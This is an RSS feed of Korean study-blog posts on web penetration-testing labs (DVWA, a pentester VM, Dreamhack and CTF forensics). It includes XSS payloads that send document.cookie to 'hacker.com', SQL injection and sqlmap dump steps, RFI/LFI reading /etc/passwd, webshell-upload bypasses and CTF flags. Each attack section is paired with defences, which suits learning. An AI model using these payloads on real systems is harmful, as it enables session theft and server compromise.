<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>lsh_1.log</title>
        <link>https://velog.io/</link>
        <description>evision_web security</description>
        <lastBuildDate>Thu, 01 Dec 2022 09:58:45 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>lsh_1.log</title>
            <url>https://velog.velcdn.com/images/lsh_1/profile/0045e704-592c-4098-a55a-2a16aa9c173c/social_profile.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. lsh_1.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/lsh_1" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[실전 웹 모의해킹]]></title>
            <link>https://velog.io/@lsh_1/%EC%8B%A4%EC%A0%84-%EC%9B%B9-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9</link>
            <guid>https://velog.io/@lsh_1/%EC%8B%A4%EC%A0%84-%EC%9B%B9-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9</guid>
            <pubDate>Thu, 01 Dec 2022 09:58:45 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/lsh_1/post/edcff99d-f298-4be3-badb-09b6ae2d71a7/image.png" alt="">
마지막 섹션 : 실전! 모의해킹
&lt;실전 웹 모의해킹&gt;
<strong>1) 환경구성</strong>
virtual box사용
pentestert/
exercise/
From SQL injection to shell/ISO download/
관리자 새로운 가상머신 만들기(리눅스32bit)_설정_어뎁터:호스트전용 어뎁터(kali로 접근가능하도록)/
ISO파일 선택 후 시작/ip addr_ip주소 알아두기/
kali전원끈 후 virtual에서 kali선택_설정_호스트전용어댑터 변경/
kali 시작/
terminal_ip addr 확인/
웹브라우저 오픈+버프스위트 실행/192.168~웹사이트접속</p>
<p><strong>2)최종 실습(SQL injection으로 shell 얻어내기)</strong></p>
<ul>
<li>웹페이지 살펴보며(메뉴 클릭) 정보 얻어내기</li>
<li>각 메뉴 클릭해보며 id=~(아이디 파라미터 변경되는 것 예의주시)</li>
<li>sql injection공격 가능 파악/ 
id=&#39;--&gt; sql error발생--&gt; sql injection 에 취약할 가능성 높음--&gt; terminal에 sql map -u옵션을 준후 정상적 주소 &quot;복붙&quot;
<img src="https://velog.velcdn.com/images/lsh_1/post/b6b0b3ce-efe7-4046-9b06-0c41312bbded/image.png" alt=""></li>
</ul>
<p>--&gt; di parameter가 취약, XSS취약 가능성에 대한 정보가 출력됨. 
+) 192.168~id=<script>alert1</script>--&gt; scriprt실행됨--&gt; reflected XSS취약점 발견
--&gt; 최종 정보: id parameter취약
--&gt; --current-db --&gt; &#39;photoblog&#39;로 현재 db명이 출력됨
--&gt; -D photoblog --dump --&gt;db내용이 전부 출력됨
user table, admin(id), pw출력
<img src="https://velog.velcdn.com/images/lsh_1/post/db385a6a-91f5-4ba8-8989-1c9e3037d4bc/image.png" alt=""></p>
<p>--&gt; 찾은 id/pw으로 로그인--&gt; 공격성공</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS공격 ]]></title>
            <link>https://velog.io/@lsh_1/XSS%EA%B3%B5%EA%B2%A9</link>
            <guid>https://velog.io/@lsh_1/XSS%EA%B3%B5%EA%B2%A9</guid>
            <pubDate>Thu, 24 Nov 2022 07:47:38 GMT</pubDate>
            <description><![CDATA[<p><strong>&lt;크로스사이트 스크립팅(XSS)공격&gt;</strong></p>
<p>*자바스크립트
-웹 애플리케이션에서 사용하는 언어
 html:텍스트나 이미지 등 정적인 내용을 표시
 자바스트립트: 동적인 기능 구현(마우스를 가져가면 색깔이 변화하는 것이 예시이다.)
-<script>스크립트 코드</script>로 구현
예시) <script>--document.location='<a href="http://hacker.com/cookie?&#39;+document.cookie">http://hacker.com/cookie?&#39;+document.cookie</a></script>
--&gt; 쿠키를 빼낼 떄 사용가능</p>
<script src=http://hacker.com/bad.js></script>
<p>--&gt;소스 외부 자바스크립트를 페이지 내에 심을 수 있음</p>
<p><strong>*XSS공격</strong>
클라이언트쪽의 웹브라우저를 공격하는 기법</p>
<script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험하고 위 예시에서 보여준 것과 같이 자바스크립트를 이용하여 세션쿠키를 탈취할 수 있다.





**<Reflected XSS공격>**
 What's your name?--> alice입력-> Hello alice출력: 입력이 그대로 출력됨 확인

What's your name?--> <script>alert(1)</script>: script가 웹브라우저에서 실행되니 XSS공격이 가능함을 알 수 있음

<p>What&#39;s your name?--&gt;<script>alert(document.cookie)</script>: 쿠키값 출력됨.
출력된 쿠키값은 외부 사이트로 전송하기 위해
terminal에서 tail -f/opt/lampp/logs/access log입력하여 웹 서버 로그 출력하기 </p>
<p>What&#39;s your name?--&gt;<script>document.location='<a href="http://127.0.0.1">http://127.0.0.1</a>(해커의 사이트)/cookie?'+document.cookie</script>--&gt; 해커 사이트로 xss에 공격당한 사람의 쿠키값이 전송됨.</p>
<p>위 내용을 활용하여 피싱 메일을 보내어 더 그럴듯하게 공격할 수 있다.</p>
<p><strong>*Reflected XSS공격</strong></p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/e9b29786-a585-42e8-a5a3-bd258cc0676e/image.png" alt=""></p>
<p><strong>*Stored XSS공격</strong></p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/7357b33c-16b2-464e-b8ec-c9043a3793ab/image.png" alt=""></p>
<p><strong>&lt;Stored XSS공격&gt;</strong>
 방명록 작성 페이지</p>
<p>name--&gt; 테스트/ message--&gt;<script>document.location='<a href="http://127.0.0.1/cookie?&#39;+document.cookie">http://127.0.0.1/cookie?&#39;+document.cookie</a></script>
((inspect element--&gt;max length:50--&gt;500 to whatever 최대입력가능 수 수정가능))
-&gt; script실행됨.</p>
<p>웹 서버 로그 살펴보면 쿠키가 해커호스트로 전달됨.</p>
<p><strong>&lt;BeEF프레임워크&gt;</strong>
kail terminer--&gt; BeEF실행-&gt;username,pw:beef
*BeEF-&gt; 웹브라우저 취약점 공격에 유용한 도구가 됨.
hook.js를 취약점에 적용하면 클라이언트 쿠키 탈취 가능</p>
<p><strong>&lt;미디엄 단계&gt;</strong>
*reflected</p>
<p>what&#39;s your name?--&gt; <script>alert(1)</script> -&gt; Hello alert(1)출력
소스코드 확인: str_replace <script>: 스크립트를 지우고 있음
but, 충분히 우회 가능</p>
<p>1) <SCRIPT>소문자 대신 대문자를 활용
2) <scr<script>ipt>alert(1)</script></p>
<p><strong>&lt;하이단계&gt;</strong>
*reflected</p>
<p>what&#39;s your name?--&gt; <SCRIPT>alert(1)</script> -&gt;Hello&gt;출력
소스코드확인: 대소문자확인, 문자사이 공격도 방지--&gt; script태그 이용한 공격 불가능
but, html태그 이용하여 우회가능
what&#39;s your name?--&gt;&lt;img src=x onerror=window.location.assign(&quot;<a href="http://127.0.0.1/hacked.php&quot;)&gt;:%ED%95%B4%EC%BB%A4%EC%82%AC%EC%9D%B4%ED%8A%B8%EB%A1%9C">http://127.0.0.1/hacked.php&quot;)&gt;:해커사이트로</a> 리다이렉트 시킴--&gt; 공격성공</p>
<p>&lt;svg onload=window.location.assign(&quot;<a href="http://127.0.0.1/hacked.php&quot;)&gt;%EB%A1%9C%EB%8F%84">http://127.0.0.1/hacked.php&quot;)&gt;로도</a> 공격가능</p>
<p>**&lt;XSS공격 대응&gt;
**
what&#39;s your name?--&gt; <script>alert(1)</script> -&gt; Hello <script>alert(1)</script>출력</p>
<p>소스코드-&gt; htmlspcialchars함수 사용-&gt; 페이지 상에는 특수문자가 그대로 표시되지만 실제로는 변환되어 적용되지 않음.</p>
<p>입력되어야 하는 형식을 꼼꼼히 확인하도록 하면 XSS공격에 대응할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[디지털포렌식 2주차 과제]]></title>
            <link>https://velog.io/@lsh_1/%EB%94%94%EC%A7%80%ED%84%B8%ED%8F%AC%EB%A0%8C%EC%8B%9D-2%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C</link>
            <guid>https://velog.io/@lsh_1/%EB%94%94%EC%A7%80%ED%84%B8%ED%8F%AC%EB%A0%8C%EC%8B%9D-2%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C</guid>
            <pubDate>Thu, 17 Nov 2022 07:14:13 GMT</pubDate>
            <description><![CDATA[<p>&lt;과제2_1&gt;
<img src="https://velog.velcdn.com/images/lsh_1/post/88a97fa5-2f62-49a1-853b-364a9c57fd80/image.png" alt="">
파일을 열어보면 위와 같은 각각의 hint, mail txt를 받아볼 수 있다. 
힌트를 읽어보면 메일이 flag인데 스팸인척을 하는건가?라는 생각을 할 수 있고 스팸인척 하는 저 메일 텍스트를 flag로 어떻게 바꿔야할지 고민해보았다. </p>
<p>HxD를 이용해봤자 이미 mail.txt는 flag와 같은 텍스트로 구성되어 있으니 도움이 되지 않을 것이고 그럼 어떻게 mail텍스트로부터 다른 문자열을 얻어낼지 고민하다 &quot;디지털포렌식 스팸&quot;으로 구글링해보니 스팸메일을 복호화해 볼 수 있음을 알게 되었다. 알려준 사이트로 복호화 해보니 --&gt; flag=EVI$ION{HOT_SP4M}</p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/266f230c-08e2-4108-85bf-fa697369685c/image.png" alt=""></p>
<p>&lt;과제2_2&gt;
<img src="https://velog.velcdn.com/images/lsh_1/post/7b96ba91-25fc-4d2e-977d-d9a8391b1e36/image.png" alt="">
파일을 열어보면 위와 같은 사진이 나온다.
냅다 파일을 HxD에 넣어봤다.
<img src="https://velog.velcdn.com/images/lsh_1/post/91356eb6-7bfa-4fab-89bb-00629f3c3fa6/image.png" alt="">
한번 꼼꼼히 파일시그니처부터 살펴보자.
(jpg의 파일 시그니처= FF D8 FF E1 xx xx 45 78)
<img src="https://velog.velcdn.com/images/lsh_1/post/7dd46f75-9c00-400d-96ee-2df3702fec56/image.png" alt="">
검색보니 코드의 맨 첫번째 줄이 외에 파일시그니처값을 가지는 부분이 또 존재한다는 것을 알게 됨.
그 부분부터 시작하도록 하는 파일을 만들어보았으나 처음에 봤던 사진과 동일....
이번에는 헤더 시그니처가 아닌 푸터시그니처를 확인해보자.
(jpg의 푸터시그니처= FF D9)
검색해보니 총 3부분에 위와 같은 시그니처가 존재했다.
<img src="https://velog.velcdn.com/images/lsh_1/post/1f7f5091-fe66-4052-9dea-21e7f9e1ed3e/image.png" alt="">
푸터가 끝난 후 시작되는 00 00 00 ~ 이부분은 어떠한 형식파일의 헤더시그니처인지 검색해보니 3GG파일!
<img src="https://velog.velcdn.com/images/lsh_1/post/27b89035-b6be-4ac4-9ab9-6d6fe1b44916/image.png" alt="">
다시 이 부분부터 시작되는 파일을 만들어보자.
(3GG의 확장자명은 .3gp혹은 .3GP)
만들어보니 다음과 같은 영상을 볼 수 있다.--&gt; flag: EVI$ION{TH1S_1S_TH3_FLAG}
<img src="https://velog.velcdn.com/images/lsh_1/post/188d9298-ca3b-4544-bc1e-a0fceb67382e/image.png" alt=""></p>
<p>&lt;과제2_3&gt;
파일을 열고 힌트를 확인해보자.
<img src="https://velog.velcdn.com/images/lsh_1/post/33312d63-def4-4561-a1a5-ef2488e90246/image.png" alt="">
여우와 여우의 친구를 좋아한다...
일단 여러개의 jpg파일이 있으니 개별파일보다는 zip파일 자체를 검사해보자. 파일을 HxD에 넣어서 헤더시그니처부터 살펴보자.
(zip파일의 시그니쳐: 50 4B 03 04)
<img src="https://velog.velcdn.com/images/lsh_1/post/22f9b688-9a37-4718-8ba7-a8c832bf98d2/image.png" alt="">
헤더시그니처가 총 7부분에서 발견된다.
그러나 zip파일에는 총 6개의 파일이 있었다.
그러면 마지막 헤더시그니처부분부터 시작되는 zip파일을 생성해보자.
---&gt; flag: EVI$ION{BfoxF}
<img src="https://velog.velcdn.com/images/lsh_1/post/75cad915-e9f5-4c04-89a1-519dd60cb1b8/image.png" alt=""></p>
<p>&lt;CTF-d multimedia문제&gt;
<img src="https://velog.velcdn.com/images/lsh_1/post/19cbabc2-9416-4af8-a326-c4308b559df6/image.png" alt="">
이 문제를 풀어보도록 하자.
스팸 파일을 열어보면
<img src="https://velog.velcdn.com/images/lsh_1/post/0450207f-656c-438d-be44-604f82aea72b/image.png" alt="">
다음과 같은 텍스트를 볼 수 있다.
...기출문제다ㅎㅎ
바로 복호화를 해보러가자.
<img src="https://velog.velcdn.com/images/lsh_1/post/5a310133-42e0-426c-89fa-1390be5c1bd9/image.png" alt="">
--&gt; flag: flag_is_b3st_spam_st3g4n0
<img src="https://velog.velcdn.com/images/lsh_1/post/4bb0c420-37e5-4469-a335-77a1439c2337/image.png" alt="">
정답!!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SQL인젝션]]></title>
            <link>https://velog.io/@lsh_1/SQL%EC%9D%B8%EC%A0%9D%EC%85%98</link>
            <guid>https://velog.io/@lsh_1/SQL%EC%9D%B8%EC%A0%9D%EC%85%98</guid>
            <pubDate>Thu, 17 Nov 2022 06:05:13 GMT</pubDate>
            <description><![CDATA[<p><strong>SQL인젝션 공격</strong>: 데이터베이스에 전송되는 SQL쿼리문을 조작하여 데티어를 변조하거나 허가되지 않는 정보에 접근하는 공격으로 예전부터 최근까지 꾸준하게 사용됨</p>
<p>-2011년 소니 해킹-&gt; 100만명의 개인정보 해킹
-2015년 뽐뿌 해킹-&gt; 190만 회원 정보 유출
-2015년 어나니머스 WTO해킹</p>
<p>*<em>where구문 공격 *</em>
<img src="https://velog.velcdn.com/images/lsh_1/post/8cc63a52-9872-45c0-a3db-c7c3ee9fa8a7/image.png" alt=""></p>
<p>사용자정보 요청-&gt; 앱 내부 DB로 sql쿼리문전송(where조건문 포함)-&gt; 사용자가 작성한 것이 조건으로 입력 -&gt; id가 1인경우 users라는 사용자 테이블에서 이름과 이메일을 가져옴
where조건문에 &#39;1&#39;=&#39;1&#39; 추가 항상 참이되도록 하여 모든사용자의 개인정보 리턴.</p>
<p><strong>UNION공격</strong>
<img src="https://velog.velcdn.com/images/lsh_1/post/6e11d3a6-4b31-4870-93e1-aeeaa8748b9e/image.png" alt=""></p>
<p>or 대신 union(합집합), pw요구하는 select문 삽입
원래실행되어야 하는 아이디가 1인 사용자 정보 외에도 뒤에 있는select구문 실행 --&gt; where조건문이 없어서 모든 사용자의 개인정보가 리턴.</p>
<p>&lt;실습&gt;
<strong>*where 구문 우회</strong>
-user id=1 입력 시 아이디가 1인 사용자의 정보가 출력됨(admin)
-user id= &#39; 입력해보기-&gt; 취약한 페이지의 경우 sql관련 에러발생(소스코드확인--&gt;where user id=&#39;&#39;&#39;가 되면서 에러가 발생했음을 할 수 있음: 비정상적인 문자 입력 시  sql쿼리문이 잘못되어 에러발생-&gt; 그 페이지는 sql쿼리문을 이용하여 처리된 다는 것을 파악할 수 있음)
-user id=&#39;1&#39;or&#39;1&#39;=&#39;1&#39; 입력(조건문이 항상 참이 되도록 함)-&gt; 모든 정보출력
-user id=&#39;#-&gt; 에러 발생하지 않은 -&gt; db에서 #이후 내용이 모두 주석처리되어 쿼리문구조에 영향 주지 않기 떄문</p>
<p>*union이용-&gt; db모든 정보 알아낼 수 있음
원래쿼리문의 uion앞뒤 select문의 칼럼갯수가 동일해야 작동함.</p>
<ul>
<li>원래 쿼리문의 칼럼갯수 알아내기union앞쪽 select문의 칼럼갯수)</li>
<li>user id=&#39;1&#39; union select 1#--&gt; 칼럼 갯수 동일하지 않아 에러 발생</li>
<li>user id=&#39;1&#39; union select 1,1#--&gt; 아이디 1의 정보와 아이디 1,1의 정보 가 합집합으로 같이 출력됨</li>
<li>user id=&#39;1&#39; union select 1,1,1#--&gt;칼럼 갯수 동일하지 않아 에러 발생
(&#39;1&#39; order by 2#로도 칼럼갯수 알 수 있음)</li>
</ul>
<p><strong>*UNION공격</strong></p>
<ul>
<li>db명 조회--&gt; user ID: &#39;1&#39; union select schema name,1 form information schema,schemata #
모든 db명이 출력됨</li>
<li>dvwa db의 테이블 명 조회--&gt; user ID: &#39;1&#39; union select table_schma, table_name from information_schema.tables where table_schema=&#39;dvwa&#39;#
테이블 조회 가능(--&gt; guestbook // users)</li>
<li>use 테이블 칼럼 조회--&gt;&#39;1&#39; union select table name, column_name from information_schema.colums where table_schema=&#39;dvwa&#39; and table_name=&#39;users&#39;3
user ID, first,lastname, pw 등 의 테이블 칼럼 출력</li>
<li>그 중 pw를 가져와보자-- &gt; user ID: &#39;1&#39; union select user, password form users#
사용자명, pw가 출력됨(pw가 hash값형태--&gt; db가 털려도 암호화된 값으로 저장되있으면 해커가 쉽게 복원하지 못함.)</li>
</ul>
<p><strong>*블라인드sql인젝션</strong>
-user id: 1 ---&gt; id가 존재함
-user id: 6--&gt; id가 존재하지 않음
-user id:&#39;--&gt; id가 존재하지 않음(에러발생하지 않음--&gt; 조작가능한 파트 알기 어려움.)
-user id: &#39;1&#39; AND &#39;1&#39;=&#39;1&#39;#--&gt; id가 존재함(조건문이 참)
-user id: &#39;1&#39; AND &#39;1&#39;=&#39;2&#39;#--&gt; id가 존재하지 않음(조건문이 거짓)
AND같은 연산실행--&gt; sql쿼리가 뒤에 있음을 확인-&gt; admin존재하는지 and 뒤에  다른 조건 --&gt;  존재확인가능
++)
-블라인드 sql인젝션 참 구문--&gt;&#39;1&#39; AND 1=1#
-블라인드 sql인젝션 거짓 구문--&gt;&#39;1&#39; AND 1=2#
F11-&gt; network-&gt; 시간기반 블라인드 sql인젝션 탐지 구문--&gt;&#39;1&#39; AND SLEEP(5)#--&gt; 시간 확인</p>
<p><strong>*SQLMAP프로그램(자동공격)</strong>
dvwa-&gt; sqlmap클릭-&gt; -u URL:공격할 사이트 입력</p>
<ul>
<li>sqlmap -u&quot;정상처리된 페이지 url 복붙&quot; --F11 console 창에 documnet.cookie입력해서 얻은 쿠키값--&gt; --cookie=&quot;~&quot;
자동공격 실행--&gt; 최종적 id parameter가 취약하다는 결과가 나옴
(가능한 공격, 개발언어 등 제시)</li>
<li>현재 db의 이름 --current db: dvwa</li>
<li>table명: -D dvwa --table: guestbook,, users</li>
<li>users data추출: -T users --dump: users table의 모든 정보 출력</li>
</ul>
<p><strong>*medium,high</strong>
-소스코드: mysql_querry를 통해 바로 쿼리가 호출됨</p>
<p><strong>*SQL인젝션 공격 대응</strong>
-source code: 입력받을 값의 형태에 따라 입력값 검증(숫자, 문자, 특수문자 등)/ 파라미터 쿼리(prepare:쿼리문 형태 작성), 쿼리문 조작 하지 못하도록 처리</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[파일인클루젼, 파일업로드, CAPTCHA공격]]></title>
            <link>https://velog.io/@lsh_1/%ED%8C%8C%EC%9D%BC%EC%9D%B8%ED%81%B4%EB%A3%A8%EC%A0%BC-%ED%8C%8C%EC%9D%BC%EC%97%85%EB%A1%9C%EB%93%9C-CAPTCHA%EA%B3%B5%EA%B2%A9</link>
            <guid>https://velog.io/@lsh_1/%ED%8C%8C%EC%9D%BC%EC%9D%B8%ED%81%B4%EB%A3%A8%EC%A0%BC-%ED%8C%8C%EC%9D%BC%EC%97%85%EB%A1%9C%EB%93%9C-CAPTCHA%EA%B3%B5%EA%B2%A9</guid>
            <pubDate>Thu, 10 Nov 2022 09:32:00 GMT</pubDate>
            <description><![CDATA[<h4 id="파일-인클루젼-공격"><strong>&lt;파일 인클루젼 공격&gt;</strong></h4>
<p>*파일 인클루젼 공격: 지정한 파일 PHP include()로 소스코드에 삽입(PHP에서는 include 함수를 통해 파일을 소스코드에 삽입가능하기 때문)
<img src="https://velog.velcdn.com/images/lsh_1/post/244e91c1-7144-4ceb-bd43-12aacc6363b5/image.png" alt=""></p>
<ul>
<li>로컬파일인클루젼(LFI): 이미 시스템에 존재하는 파일을 인클루드</li>
<li>리모트 팡리 인클루젼(RFI): 외부에 있는 파일을 원격으로 인클루드(더 강력한 공격)</li>
<li>파일 인클루젼 공격 실습</li>
<li>low
terminal-&gt; gedit/opt/lampp/htdocs/bad.php-&gt; text editer열기
print &quot;RFI Success!&quot;;저장
브라우저에서 새탭에 127.0.0.1/bad.php 열리는지 확인
각file 열어보며 정보 확인
RFI공격-&gt; 페이지 parameter에 <a href="http://127.0.0.1/bad.php%EC%9E%85%EB%A0%A5--&gt;">http://127.0.0.1/bad.php입력--&gt;</a> rfi성공(웹서버에 올려둔 파일을 dvwa에서 실행할 수 있게 됨.)
system(&#39;cat /etc/passwd&#39;); 추가 저장한 후 dvwa로 다시 열어보자.--&gt; etc pw정보 출력받을 수 있음</li>
</ul>
<p>*LFI(시스템 내 이미 존재하는 파일만 접근가능하지만 etcpw와 같은 중요한 정보 출력가능)
페이지 parameter에 page=/etc/passwd로 수정해보다--&gt; lfi 공격 success</p>
<ul>
<li>in linux--&gt;../(상위 경로 접근가능)
page=../../../../../../~(6번 이상 입력 시 최상위 경로 접근 가능--&gt; 허가되지 않은 파일에 접근할 수 있겠다.)&lt;path traversal 공격&gt;</li>
</ul>
<p>-medium
RFI공격-&gt; 페이지 parameter에 <a href="http://127.0.0.1/bad.php%EC%9E%85%EB%A0%A5--&gt;">http://127.0.0.1/bad.php입력--&gt;</a> 실행되지 않음.()
view source--&gt;입력값 검증을 실시하는 루틴이 생성되어 있음(http://,<a href="https://-&gt;">https://-&gt;</a> 원격사이트로 접근하는 경우 차단)(../-&gt; path traversal공격 차단)
문제가 있는 부분을 한번 지우고 있다!---&gt; http://
page=h(http://)ttp://127.0.0.1/bad.php--&gt; http://가 입력값검증에 의해 지워졌으나 남은 문자열이 http://이기에 우회한 것</p>
<p>-high
page=h<a href="http://ttp://127.0.0.1/bad.php--&gt;">http://ttp://127.0.0.1/bad.php--&gt;</a> 실행되지 않음(rfl공격 실패)
page=/etc/passwd--&gt; 실행되지 않음(lfi공격 실패)
view source(어떻게 대응하고 있는지 살펴보자)--&gt;입력값 검증 부분--&gt; file*검사, 페이지 파라미터의 값이 file로 시작하지 않거나 include.php가 아닐 경우 에러발생시킴
page=file/../../../../../../../../../etc/passwd--&gt; lfi 공격 success 
 rfi공격의 경우 file문자열로 시작해야하나 http://를 작성할 수 없기에 공격 불가능</p>
<p>*파일 인클루젼 공격대응: 꼭 필요한 파일만 인클루드되도록 검사하는 소스코드</p>
<p><em>문제풀어보기(dreamhack)
<img src="https://velog.velcdn.com/images/lsh_1/post/f1bd4ab3-8a60-4134-84b8-ea488ccb44a1/image.png" alt="">
index.php--&gt; main.php를 include를 통해 page변수에 php이름을 입력받음(ex&gt; page=view---&gt;view.php로 이동)
view.php--&gt; flag필터링
<img src="https://velog.velcdn.com/images/lsh_1/post/e4f47988-05fe-47a3-bbee-45c3e2a44341/image.png" alt="">
-url--&gt;<a href="http://host3.dreamhack.games:14116/">http://host3.dreamhack.games:14116/</a>?*</em>page=view<strong>&amp;file=../uploads/</strong>flag.php**
-flag.php--&gt;Permission denied</p>
<p>--&gt;flag를 얻기위해 flag필터링을 우회해야함.
*flag 필터링 우회기법 중 php wrapper
page에 wrapper를 사용-&gt; flag.php읽는 방식-&gt; flag 필터링 과정skip 가능</p>
<p><a href="http://host3.dreamhack.games:14116/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag">http://host3.dreamhack.games:14116/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag</a>
<img src="https://velog.velcdn.com/images/lsh_1/post/16b4112f-3caf-4b80-8956-adf7e365ed40/image.png" alt="">
PD9waHAKCSRmbGFnID0gJ0RIe2JiOWRiMWYzMDNjYWNmMGYzYzkxZTBhYmNhMTIyMWZmfSc7Cj8+CmNhbiB5b3Ugc2VlICRmbGFnPw==</p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/a9738a41-5da0-4516-a908-cd3931184283/image.png" alt=""></p>
<h4 id="파일-업로드-공격"><strong>&lt;파일 업로드 공격&gt;</strong></h4>
<p>*파일 업로드 공격: 파일이 업로드 되는 페이지(게시판, sns)에 악성 파일(웹쉘-웹을 통해 시스템 명령어 실행 가능)을 업로드
<img src="https://velog.velcdn.com/images/lsh_1/post/d95f288d-7772-402d-8bf3-e7b2f2182a40/image.png" alt=""></p>
<ul>
<li>파일 업로드 공격 실습</li>
<li>low
이미지 파일을 업로드하라는 페이지 --&gt; 이미지 파일 대신 웹셀 파일을 업로드해보자.
우선 웹셀파일을 준비해야한다.
<img src="https://velog.velcdn.com/images/lsh_1/post/ac43ab75-a162-4df0-b444-1f468355b1f8/image.png" alt=""></li>
</ul>
<p>(githup에서 webshell.php-&gt;raw-&gt;url copy해서 terminal에서 root/ wget으로 다운로드해놓기)</p>
<p>dvwa에서 webshell.php를 업로드</p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/69b19563-01a0-4a9c-91f8-f003fafcb227/image.png" alt="">
--&gt;상위 directory나옴
페이지 파라미트 변경해보자--&gt; enter a command 창이 뜨고 그곳에 cat /etc/passwd입력--&gt;정보 출력(시스템 명령어를 실행할 수 있는 웹셸)</p>
<p>-medium
root의 webshell.php업로드 실패--&gt;jpg,png만 accept가능 --&gt;버프스위트로 파일이 업로드 될 떄 요청을 intercept해보자.</p>
<p>--&gt; content type: (application/x-php--&gt; image/jpeg로 변경해보자--&gt; 업로드 성공)--&gt; content type조사만으로는 방어하기에 불충분함!</p>
<p>-high
veiw source-&gt; 어떻게 대응하고 있는지 살펴보자
content type을 검사하는 것이 아니라 파일 name이 jpg, jpng, png인지 확인하고 있다. 또한 getimagesize실제로 파일 내용이 이미지인지도 검사하고있다.
<img src="https://velog.velcdn.com/images/lsh_1/post/6526a2f8-d112-4ef5-9c09-0fb73b824af1/image.png" alt=""></p>
<p>대응이 강화되었으나 이 루틴도 우회 가능하다.
아까처럼 intercept실시!--&gt; 이번에는 filename 부분 수정(phh--&gt;php.jpg)&amp; 파일 내용에 GIF89a(GIF이미지 파일의 표준정의값)추가(이미지 파일인 척 가능)--&gt; 업로드 성공 </p>
<p>*파일 업로드 공격 대응: 
-이미지 파일인지 검사한 후 업로드 된 내용으로 이미지 다시 생성하여 무늬만 이미지인 파일이 실행되는 것을 원천봉쇄한다.
-업로드되는 파일의 이름을 랜덤하게 생성시켜 해커가 자신이 업로드한 파일에 접근하지 못하게 하는 방법
-업로드되는 서버를 웹어플리케이션 서버와 분리함
-업로드폴더의 실행권한을 완전히 제거하여 파일 인클루젼 공격으로부터도 대응하여 업로드된 파일이 웹어플리케이션에서 실행되는 것을 차단.</p>
<p>*문제풀어보기(portswigger)</p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/3b2ea533-97c8-4aa7-8848-751f2b0c6bda/image.png" alt=""></p>
<p>???</p>
<h4 id="captcha-공격"><strong>&lt;CAPTCHA 공격&gt;</strong></h4>
<p>*CAPTCHA공격: 컴퓨터는 알수없는 흘려쓴 글, 그림을 제대로 인식하면 사람이라고 확인하는 것으로 회원가입 혹은 비밀번호 등과 같이 사용자(사람)가 직접해야만 하는 경우사용한다.
또한 브루트포스와 같은 프로그램을 이용한 공격에 대응할 때 효과적이다.
이를 제대로 구현하지 못한다면 해커가 이를 우회하여 공격할 수 있다.
<img src="https://velog.velcdn.com/images/lsh_1/post/fdeb47ce-6b77-41d0-bd74-b88d5e2782c7/image.png" alt=""></p>
<ul>
<li>CAPTCHA 공격 실습</li>
<li>low
proxy history를 통해 작동메커니즘 살펴보자--&gt; 번호 순정렬을 통해 최근 명령확인
<img src="https://velog.velcdn.com/images/lsh_1/post/d76f651b-f652-4af7-b6ea-6df540a7dc98/image.png" alt=""></li>
</ul>
<p>change 버튼 누를 때마다 step++(첫번째 요청 step1 ,두번째 요청 step2) 두요청 모두 pw가 포함되어서 전송됨
두번째 요청에서 send to repeater-&gt; repeater탭에서 pw부분을 normal 대신 hacker로 바꿔보자
<img src="https://velog.velcdn.com/images/lsh_1/post/9062d9b5-cee3-4bab-8a7a-0157574ea08a/image.png" alt=""></p>
<p>로그아웃 후 admin/normal입력 시 실패, admin/hacker입력 시 로그인 성공(pw변경됨)
captcha 값을 제대로 입력하지 않아도 두번째 요청만 보내 pw를 변경할 수 있음.</p>
<p>-medium
proxy history를 통해 작동메커니즘 살펴보자(new_pw,confirm_pw, captcha 옳바르게 입력 후 chage 버튼 누르기)
-&gt; pw changed 창 뜬다. 
이번에도 두단계에 걸쳐서 pw 변경하고 있다. 두번째 요청내용을 살펴보면 step-&gt;2, pw도 같이 포함되어 있음
한가지 추가된 점: passed_captcha--&gt; captcha가 제대로 입력되었는지 확인하려고 한 듯 하다.
파라미터를 하나 더 추가하긴 했으나 로우 단계와 다를 것없는 방식으로 쉽게 공격가능..</p>
<p>-high
proxy history를 통해 작동메커니즘 살펴보자(new_pw,confirm_pw, captcha 옳바르게 입력 후 chage 버튼 누르기)
-&gt; pw changed 창 뜬다. 
repeater 에서 pw_new와 pw_confirm parameter를 normal2로 변경해보자/ grecaptcharesponse--&gt; hidden value 로 변경, useragent--&gt; recaptcha로 변경-&gt; pw 변경됨 
captcha 값을 제대로 입력하지 않아도 pw변경가능.
---&gt; captcha요청을 한단계로 만든것은 좋은 대응방안이었으나 특정한 값을 if문으로 검사하여 우회할 수 있는 코드를 넣을 것인 문제가 되었다.(조건문을 넣은 경우-&gt; 개발자가 디버깅이나 테스트를 할때 좀더 간편하게 하려고 했으나 제거하지 않은 경우 실제로 이런 테스트 코드가 release시 포함될 수 있으니 주의해야한다.)</p>
<p>*CAPTCHA공격대응: 코드가 실제로 웹사이트를 통해 서비스될 때 디버깅 코드가 없는지 확인해주어야 한다.
현재 pw를 한번 더 입력하도록 하여 pw변경의 경우 보안을 강화한다.(csrf공격 대응과 유사)
